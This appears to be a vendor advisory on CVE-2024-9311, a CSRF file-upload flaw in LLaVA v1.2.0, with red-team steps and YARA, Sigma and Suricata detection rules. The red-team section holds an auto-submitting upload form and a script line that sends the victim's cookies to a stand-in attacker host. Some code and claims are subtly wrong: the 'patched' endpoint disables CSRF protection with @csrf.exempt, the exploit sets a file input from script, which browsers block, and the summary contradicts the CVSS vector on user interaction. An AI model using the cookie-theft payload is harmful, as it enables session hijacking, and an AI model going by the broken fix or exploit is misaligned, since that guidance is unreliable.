CVE-2024-9311

Executive Summary

CVE-2024-9311 is a Cross-Site Request Forgery (CSRF) vulnerability in haotian-liu/llava v1.2.0 (LLaVA-1.6). The vulnerability allows an attacker to upload files with malicious content without authentication or user interaction. The uploaded file is stored in a predictable path, enabling the attacker to execute arbitrary JavaScript code in the context of the victim's browser by visiting the crafted file URL. This can lead to theft of sensitive information, session hijacking, or other actions compromising the security and privacy of the victim. The CVSS score is 6.1 (Medium), and the EPSS score is 0.0%, indicating low exploitation likelihood currently. No official patch is available.

Supply Chain & Package Security

This vulnerability affects the LLaVA (Large Language and Vision Assistant) project, which is a Python-based AI model. The project is distributed via GitHub and PyPI. Users should verify the integrity of their installations and monitor for updates from the maintainer.

CVSS Breakdown & Threat Level

• CVSS Score: 6.1 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must visit a crafted URL)
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: None

Deep Dive & Mechanics

The vulnerability is a Cross-Site Request Forgery (CSRF) in the file upload functionality of LLaVA v1.2.0. The application does not implement CSRF tokens or other anti-forgery mechanisms. An attacker can craft a malicious HTML page that, when visited by an authenticated user, triggers a file upload request to the LLaVA server. The uploaded file (e.g., a JavaScript file) is stored in a predictable path (e.g., /uploads/). The attacker can then trick the victim into visiting the uploaded file's URL, causing arbitrary JavaScript execution in the victim's browser. This can lead to session hijacking, data theft, or other malicious actions.

Vulnerable vs. Patched Code

Vulnerable Code (v1.2.0): The file upload endpoint lacks CSRF protection. Example:

@app.route('/upload', methods=['POST'])
def upload_file():
    file = request.files['file']
    filename = secure_filename(file.filename)
    file.save(os.path.join('uploads', filename))
    return 'File uploaded'

Patched Code (Hypothetical): A patch would include CSRF token validation and proper authentication checks:

from flask_wtf.csrf import CSRFProtect
csrf = CSRFProtect(app)

@app.route('/upload', methods=['POST'])
@csrf.exempt  # Not recommended; use CSRF token
def upload_file():
    if not session.get('authenticated'):
        return 'Unauthorized', 401
    file = request.files['file']
    filename = secure_filename(file.filename)
    file.save(os.path.join('uploads', filename))
    return 'File uploaded'

Exploitation & Lab Setup

Red Team

1. Setup: Deploy LLaVA v1.2.0 locally or on a test server.
2. Craft Malicious HTML: Create an HTML page that auto-submits a form to the LLaVA upload endpoint.

   <form action="http://target/upload" method="POST" enctype="multipart/form-data">
     <input type="file" name="file" id="file">
     <input type="submit" value="Upload">
   </form>
   <script>
     document.getElementById('file').value = 'malicious.js';
     document.forms[0].submit();
   </script>
   

3. Host Malicious File: Serve a JavaScript file (e.g., malicious.js) that steals cookies or performs actions.

   // malicious.js
   fetch('http://attacker/steal?cookie=' + document.cookie);
   

4. Deliver Payload: Send the crafted HTML page to the victim (e.g., via phishing email).
5. Execute: Victim visits the HTML page, file is uploaded, then victim visits the uploaded file URL (e.g., http://target/uploads/malicious.js), executing the JavaScript.

Blue Team

1. Detection: Monitor for unusual file uploads to the /uploads/ directory.
2. Prevention: Implement CSRF tokens and authentication checks.
3. Response: Block known malicious IPs and scan uploaded files for malicious content.
4. Honeypot: Deploy a fake upload endpoint to detect scanning attempts.

Indicators of Compromise (IOCs)

• File Paths: /uploads/*.js, /uploads/*.html
• Network Traffic: POST requests to /upload with Content-Type: multipart/form-data
• User-Agent: Suspicious or non-standard User-Agent strings
• Referer: Requests with missing or spoofed Referer headers
• Logs: Repeated failed upload attempts or unusual file types

Detection Engineering

YARA Rule

rule CVE_2024_9311_CSRF_Upload {
    meta:
        description = "Detects malicious JavaScript files uploaded via CSRF in LLaVA v1.2.0"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-9311"
    strings:
        $js_payload = /document\.cookie|fetch\(|XMLHttpRequest/
    condition:
        $js_payload and filesize < 10KB
}

Sigma Rule

title: CVE-2024-9311 CSRF File Upload Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects POST requests to /upload with suspicious file types
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-stem: '/upload'
        cs-content-type: 'multipart/form-data'
    condition: selection
falsepositives:
    - Legitimate file uploads
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-9311 CSRF File Upload Attempt"; flow:to_server; content:"POST"; http_method; content:"/upload"; http_uri; content:"multipart/form-data"; http_content_type; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable file upload functionality if not required.
2. Short-term: Implement CSRF tokens using Flask-WTF or similar.
3. Long-term: Apply authentication and authorization checks to all upload endpoints.
4. Monitoring: Enable logging and alerting for file uploads.
5. User Education: Train users to avoid clicking suspicious links.

Valters IT
Securing Digital Frontiers